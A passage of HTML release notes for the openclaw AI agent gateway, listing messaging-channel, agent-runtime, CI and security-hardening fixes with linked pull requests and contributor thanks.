<p>Locking/security: require owner identity proof before stale plugin lock removal, memoize session lock owner arguments, and avoid writing default exec approval stores unless policy state actually changed. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4522554669" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86814" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/86814/hovercard" href="https://github.com/openclaw/openclaw/issues/86814">#86814</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4525826501" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86964" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86964/hovercard" href="https://github.com/openclaw/openclaw/pull/86964">#86964</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Alix-007/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Alix-007">@Alix-007</a> and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a>.</p>
</li>
<li>
<p>Install/release: bound Docker package build, inventory, pack, and tarball preparation with process-group timeouts; pin shrinkwrap patch drift to the pnpm lock; harden macOS restart and dSYM packaging; and run release Docker/live timeout wrappers in the foreground so child processes cannot wedge gates.</p>
</li>
<li>
<p>Telegram/network: treat <code>ENETDOWN</code> as a transient pre-connect network failure so Telegram sends, gateway unhandled-rejection handling, and cron network retries follow the same recovery path as sibling network outages. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4521478619" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86762" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86762/hovercard" href="https://github.com/openclaw/openclaw/pull/86762">#86762</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/TurboTheTurtle/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/TurboTheTurtle">@TurboTheTurtle</a>.</p>
</li>
<li>
<p>Telegram: preserve inbound text entities, overlapping DM replies, account topic cache sidecars, outbound reply context, targeted bot-command mentions, durable group retry targets, forum topic names, and native progress callbacks. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4473919972" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/83873" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/83873/hovercard" href="https://github.com/openclaw/openclaw/pull/83873">#83873</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4502811207" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85361" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85361/hovercard" href="https://github.com/openclaw/openclaw/pull/85361">#85361</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4506247444" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85555" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85555/hovercard" href="https://github.com/openclaw/openclaw/pull/85555">#85555</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4507163567" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85656" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85656/hovercard" href="https://github.com/openclaw/openclaw/pull/85656">#85656</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4508034086" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85709" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85709/hovercard" href="https://github.com/openclaw/openclaw/pull/85709">#85709</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4513918910" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86299" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86299/hovercard" href="https://github.com/openclaw/openclaw/pull/86299">#86299</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4518070126" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86553" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86553/hovercard" href="https://github.com/openclaw/openclaw/pull/86553">#86553</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/SebTardif/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/SebTardif">@SebTardif</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/luoyanglang/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/luoyanglang">@luoyanglang</a>, and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/neeravmakwana/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/neeravmakwana">@neeravmakwana</a>.</p>
</li>
<li>
<p>iMessage: read image attachments from local Messages attachment roots, dedupe duplicate local Messages-source accounts, seed direct DM history, fix image/group media attachment commands, advance catchup cursors after live handling, and keep slash-command acknowledgements in the source conversation. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4460513299" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/82642" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/82642/hovercard" href="https://github.com/openclaw/openclaw/pull/82642">#82642</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4504709372" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85475" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85475/hovercard" href="https://github.com/openclaw/openclaw/pull/85475">#85475</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4518328054" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86569" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86569/hovercard" href="https://github.com/openclaw/openclaw/pull/86569">#86569</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4520556743" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86705" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86705/hovercard" href="https://github.com/openclaw/openclaw/pull/86705">#86705</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4520562136" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86706" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86706/hovercard" href="https://github.com/openclaw/openclaw/pull/86706">#86706</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4521775849" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86770" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86770/hovercard" href="https://github.com/openclaw/openclaw/pull/86770">#86770</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/homer-byte/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/homer-byte">@homer-byte</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/TurboTheTurtle/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/TurboTheTurtle">@TurboTheTurtle</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/swang430/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/swang430">@swang430</a>, and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/omarshahine/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/omarshahine">@omarshahine</a>.</p>
</li>
<li>
<p>WhatsApp/QQ/Twitch/IRC/Slack: restore WhatsApp ack identity and group-drop warnings, make QQ Bot media respect <code>OPENCLAW_HOME</code>, serialize Twitch auth disconnects, store IRC channel routes canonically, and keep Slack downloaded files out of reply media. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4473618299" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/83833" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/83833/hovercard" href="https://github.com/openclaw/openclaw/pull/83833">#83833</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4501915785" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85309" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85309/hovercard" href="https://github.com/openclaw/openclaw/pull/85309">#85309</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4508902915" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85777" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85777/hovercard" href="https://github.com/openclaw/openclaw/pull/85777">#85777</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4509181286" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85794" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85794/hovercard" href="https://github.com/openclaw/openclaw/pull/85794">#85794</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4510338183" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85906" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85906/hovercard" href="https://github.com/openclaw/openclaw/pull/85906">#85906</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4514166403" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86318" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86318/hovercard" href="https://github.com/openclaw/openclaw/pull/86318">#86318</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4520463860" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86697" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86697/hovercard" href="https://github.com/openclaw/openclaw/pull/86697">#86697</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/sliverp/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/sliverp">@sliverp</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/neeravmakwana/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/neeravmakwana">@neeravmakwana</a>, and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Kailigithub/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Kailigithub">@Kailigithub</a>.</p>
</li>
<li>
<p>Discord/voice: improve voice playback and wake replies, bucket large model picker menus, merge media captions into one message, route metadata through configured proxies, restore numeric channel sends, suppress self-reply echoes, and tighten wake matching without breaking fuzzy wake phrases. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4415391667" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/80227" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/80227/hovercard" href="https://github.com/openclaw/openclaw/issues/80227">#80227</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4513382967" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86238" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86238/hovercard" href="https://github.com/openclaw/openclaw/pull/86238">#86238</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4517016511" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86487" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86487/hovercard" href="https://github.com/openclaw/openclaw/pull/86487">#86487</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4518354506" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86571" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86571/hovercard" href="https://github.com/openclaw/openclaw/pull/86571">#86571</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4518728147" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86595" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86595/hovercard" href="https://github.com/openclaw/openclaw/pull/86595">#86595</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4518852311" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86601" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86601/hovercard" href="https://github.com/openclaw/openclaw/pull/86601">#86601</a>)</p>
</li>
<li>
<p>Codex: preserve native web-search metadata, keep oversized native thread reuse, bridge CLI API-key auth into the app server, preserve sandbox bootstrap path style, recover context-window prompt errors, honor yolo approval policy, disable native thread personality, and route compaction through Codex auth. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4503098560" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85378" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85378/hovercard" href="https://github.com/openclaw/openclaw/pull/85378">#85378</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4506087008" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85542" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85542/hovercard" href="https://github.com/openclaw/openclaw/pull/85542">#85542</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4510132239" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85891" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85891/hovercard" href="https://github.com/openclaw/openclaw/pull/85891">#85891</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4510371309" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85909" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85909/hovercard" href="https://github.com/openclaw/openclaw/pull/85909">#85909</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4515716562" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86408" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86408/hovercard" href="https://github.com/openclaw/openclaw/pull/86408">#86408</a>)</p>
</li>
<li>
<p>Agents/runtime: enforce session lock max-hold reclaim, release embedded-attempt locks on all exits, treat aborted subagent runs as terminal, avoid runtime model hydration on hot paths, disclose scoped session list counts, derive overflow budgets from provider errors, and keep fallback errors scoped to the active model candidate. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4313476027" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/70473" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/70473/hovercard" href="https://github.com/openclaw/openclaw/pull/70473">#70473</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4508768461" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85764" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85764/hovercard" href="https://github.com/openclaw/openclaw/pull/85764">#85764</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4511256935" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86014" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/86014/hovercard" href="https://github.com/openclaw/openclaw/issues/86014">#86014</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4512330133" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86134" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86134/hovercard" href="https://github.com/openclaw/openclaw/pull/86134">#86134</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4515962032" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86427" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86427/hovercard" href="https://github.com/openclaw/openclaw/pull/86427">#86427</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4525235363" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86944" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86944/hovercard" href="https://github.com/openclaw/openclaw/pull/86944">#86944</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/openperf/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/openperf">@openperf</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/fuller-stack-dev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/fuller-stack-dev">@fuller-stack-dev</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/zhangguiping-xydt/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/zhangguiping-xydt">@zhangguiping-xydt</a>, and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/ferminquant/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/ferminquant">@ferminquant</a>.</p>
</li>
<li>
<p>Config/update/doctor: retry config recovery after failed backup restore, skip shell env fallback on Windows, exclude prerelease tags from the stable git channel, support deep config edits, warn instead of aborting on unreadable cron stores, prune stale bundled plugin paths, and avoid duplicate restart prompts when the Gateway is already healthy. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4508546495" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85739" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85739/hovercard" href="https://github.com/openclaw/openclaw/pull/85739">#85739</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4509027061" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85787" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85787/hovercard" href="https://github.com/openclaw/openclaw/pull/85787">#85787</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4511769726" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86060" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86060/hovercard" href="https://github.com/openclaw/openclaw/pull/86060">#86060</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4513592243" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86260" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86260/hovercard" href="https://github.com/openclaw/openclaw/pull/86260">#86260</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4515361802" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86384" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86384/hovercard" href="https://github.com/openclaw/openclaw/pull/86384">#86384</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4517880193" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86533" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86533/hovercard" href="https://github.com/openclaw/openclaw/pull/86533">#86533</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/liaoyl830/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/liaoyl830">@liaoyl830</a>.</p>
</li>
<li>
<p>Install/release: support Alpine CLI installs and runtime floors, avoid npm <code>min-release-age</code> installer failures, bound npm/package/Docker install phases, restore config parent ownership in Docker, seed Docker lockfile package tarballs before prune, and make release/plugin prerelease checks fail closed instead of hanging or false-greening. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4505205830" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85491" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85491/hovercard" href="https://github.com/openclaw/openclaw/pull/85491">#85491</a>)</p>
</li>
<li>
<p>Security: avoid printing Gateway tokens in Docker, validate plugin model-pattern regexes safely, escape transcript metadata field names, harden session allowlist glob matching, audit Claude permission overrides under YOLO, and require explicit allow for ACP auto approvals. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4509772199" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85849" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85849/hovercard" href="https://github.com/openclaw/openclaw/pull/85849">#85849</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4510569360" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85934" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85934/hovercard" href="https://github.com/openclaw/openclaw/pull/85934">#85934</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4511654235" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86046" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86046/hovercard" href="https://github.com/openclaw/openclaw/pull/86046">#86046</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4518138669" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86557" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86557/hovercard" href="https://github.com/openclaw/openclaw/pull/86557">#86557</a>)</p>
</li>
<li>
<p>Media/images: replace Sharp with Rastermill, keep EXIF normalization best-effort, normalize HEIC/HEIF before image descriptions, route Codex image API keys through OpenAI, preserve image compression metadata, and auto-scale live tool result caps. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4508895502" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85776" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85776/hovercard" href="https://github.com/openclaw/openclaw/pull/85776">#85776</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4511517298" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86037" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86037/hovercard" href="https://github.com/openclaw/openclaw/pull/86037">#86037</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4516124165" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86437" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86437/hovercard" href="https://github.com/openclaw/openclaw/pull/86437">#86437</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4523450985" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86857" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86857/hovercard" href="https://github.com/openclaw/openclaw/pull/86857">#86857</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4524700097" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86923" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86923/hovercard" href="https://github.com/openclaw/openclaw/pull/86923">#86923</a>)</p>
</li>
<li>
<p>Memory: prevent semantic vector indexes from silently degrading when embeddings are unavailable, stop doctor OOMs on large session stores, preserve sidecar hooks/artifacts, write fallback dream diaries, use CJK-aware dreaming dedupe, and avoid per-file watcher FD fan-out. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4419718885" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/80613" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/80613/hovercard" href="https://github.com/openclaw/openclaw/issues/80613">#80613</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4462409079" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/82928" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/82928/hovercard" href="https://github.com/openclaw/openclaw/issues/82928">#82928</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4496988085" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85060" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85060/hovercard" href="https://github.com/openclaw/openclaw/pull/85060">#85060</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4507908481" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85704" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85704/hovercard" href="https://github.com/openclaw/openclaw/pull/85704">#85704</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4510790288" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85967" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85967/hovercard" href="https://github.com/openclaw/openclaw/pull/85967">#85967</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4520541942" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86701" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86701/hovercard" href="https://github.com/openclaw/openclaw/pull/86701">#86701</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/brokemac79/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/brokemac79">@brokemac79</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/openperf/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/openperf">@openperf</a>, and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/yaaboo-gif/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/yaaboo-gif">@yaaboo-gif</a>.</p>
</li>
<li>
<p>Agents/sessions: include visibility metadata on restricted <code>sessions_list</code> results so scoped counts are clearly reported without widening access or exposing hidden-session counts. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4525235363" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86944" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86944/hovercard" href="https://github.com/openclaw/openclaw/pull/86944">#86944</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/ferminquant/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/ferminquant">@ferminquant</a>.</p>
</li>
<li>
<p>Gateway/DNS: validate wide-area discovery domains before deriving zone paths or writing zone files, so invalid <code>discovery.wideArea.domain</code> and <code>dns setup --domain</code> values fail with a DNS-name diagnostic instead of falling through to unrelated configuration errors. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/mmaps/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/mmaps">@mmaps</a>.</p>
</li>
<li>
<p>Agents/BTW: route fallback side-question streams through the embedded stream resolver so Anthropic-compatible MiniMax requests use the same capped transport as normal chat. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4514047622" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86312" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86312/hovercard" href="https://github.com/openclaw/openclaw/pull/86312">#86312</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/neeravmakwana/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/neeravmakwana">@neeravmakwana</a>.</p>
</li>
<li>
<p>Telegram: treat <code>/command@TargetBot</code> bot-command entities as explicit mentions for the addressed bot so <code>requireMention</code> groups no longer drop targeted commands or captions. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4483658268" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/84462" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/84462/hovercard" href="https://github.com/openclaw/openclaw/issues/84462">#84462</a>. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4518070126" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86553" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86553/hovercard" href="https://github.com/openclaw/openclaw/pull/86553">#86553</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/luoyanglang/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/luoyanglang">@luoyanglang</a>.</p>
</li>
<li>
<p>CI: bound Docker/Bash E2E tarball npm installs with <code>OPENCLAW_E2E_NPM_INSTALL_TIMEOUT</code> so package, onboarding, plugin, and upgrade lanes fail instead of hanging on a stuck npm install.</p>
</li>
<li>
<p>CI: keep <code>OPENCLAW_TESTBOX=1 pnpm check:changed</code> delegating to Blacksmith Testbox through Crabbox without forwarding local Testbox or worker env into the remote command.</p>
</li>
<li>
<p>CI: send KILL after the TERM grace period for manual checkout fetch timeouts so stuck Testbox and workflow checkout retries cannot hang behind a wedged <code>git fetch</code>.</p>
</li>
<li>
<p>CI: send KILL after the TERM grace period for Bun global install smoke command timeouts so trapped <code>openclaw</code> child processes cannot wedge the scheduled install smoke.</p>
</li>
<li>
